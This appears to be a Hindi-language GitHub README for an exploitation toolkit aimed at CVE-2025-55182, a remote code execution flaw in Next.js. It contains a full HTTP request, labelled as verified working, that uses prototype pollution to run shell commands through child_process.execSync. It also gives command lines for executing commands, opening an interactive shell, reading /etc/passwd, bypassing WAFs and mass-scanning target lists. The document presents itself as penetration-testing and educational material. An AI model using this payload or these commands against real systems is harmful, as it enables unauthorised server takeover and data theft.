rubensuxo-eh/react2shell-exploitReact2Shell-Exploit — CVE-2025-55182 के लिए संपूर्ण शोषण फ्रेमवर्क, जिसमें Python एक्सप्लॉइट, Docker असुरक्षित लैब, Burp Suite मैनुअल और स्वचालित शोषण, Nuclei डिटेक्शन टेम्पलेट तथा सत्यापित परीक्षण कार्यप्रवाह शामिल हैं। यह पैठ परीक्षण और शैक्षिक अनुसंधान हेतु विकसित किया गया है।
CVE-2025-55182 - Next.js RCE रिमोट कोड निष्पादन
एक्सप्लॉइट फ्रेमवर्क + असुरक्षित लैब + Burp Suite और Nuclei सत्यापन।
सुरक्षा अनुसंधान और पैठ परीक्षण के लिए संपूर्ण एक्सप्लॉइटेशन फ्रेमवर्क और असुरक्षित लैब वातावरण।
╔═══════════════════════════════════════════════════════════════╗
║ 🐺 React2Shell-Exploit-Kensei 🐺 ║
║ CVE-2025-55182 Exploitation Tool ║
║ ║
║ Author: Ruben Suxo - Ethical Hacker (kensei) v2.5.0 ║
╚═══════════════════════════════════════════════════════════════╝
React2Shell-Exploit-Kensei, Next.js अनुप्रयोगों में एक गंभीर रिमोट कोड निष्पादन भेद्यता, CVE-2025-55182 का शोषण करने के लिए एक व्यापक टूलकिट है।
इसमें शामिल हैं:
प्रभावित संस्करण:
CVSS स्कोर: 10.0 (गंभीर)
✅ स्वचालित एक्सप्लॉइटेशन
✅ इंटरैक्टिव शेल
✅ कमांड निष्पादन
✅ फ़ाइल पठन
✅ WAF बायपास
✅ बैच स्कैनिंग
असुरक्षित लैब चलाने के लिए आपके पास Docker स्थापित होना चाहिए।
| प्लेटफ़ॉर्म | स्थापना लिंक |
|---|---|
| Windows | https://docs.docker.com/desktop/install/windows/ |
| macOS | https://docs.docker.com/desktop/install/mac-install/ |
| Linux |
स्थापना सत्यापित करें:
docker --version
✅ Burp Suite गाइड
✅ Nuclei टेम्पलेट
✅ संपूर्ण उदाहरण
# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py
# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab
# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"
python3 react2shell-exploit.py --url http://target.com --scan
python3 react2shell-exploit.py --url http://target.com --cmd "id"
python3 react2shell-exploit.py --url http://target.com --shell
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass
python3 react2shell-exploit.py --list targets.txt --scan --threads 20
सत्यापित कार्यशील - अनुरोध टेम्पलेट:
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
अपेक्षित प्रतिक्रिया:
"children":["__PAGE__?{\"out\":\"root\"}",{}]
WHOAMI का मैन्युअल परीक्षण:
IFCONFIG का मैन्युअल परीक्षण:
वैकल्पिक स्वचालित पहचान विधियाँ:
सत्यापित कार्यशील:
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml
आउटपुट:
[CVE-2025-55182] [http] [critical] http://target.com:3002/
लेखक: Ruben Suxo - एथिकल हैकर (kensei)
संस्करण: 2.5.0
दिनांक: 2025-12-06
यह परियोजना निम्नलिखित से अनुसंधान और तकनीकों पर आधारित है:
केवल अधिकृत सुरक्षा परीक्षण के लिए।
अनधिकृत पहुंच अवैध है। केवल उन सिस्टम पर उपयोग करें जिनके मालिक आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
MIT लाइसेंस
🐺 हैक द प्लैनेट - जिम्मेदारी से
केवल शैक्षिक उद्देश्यों के लिए। नैतिक रूप से उपयोग करें।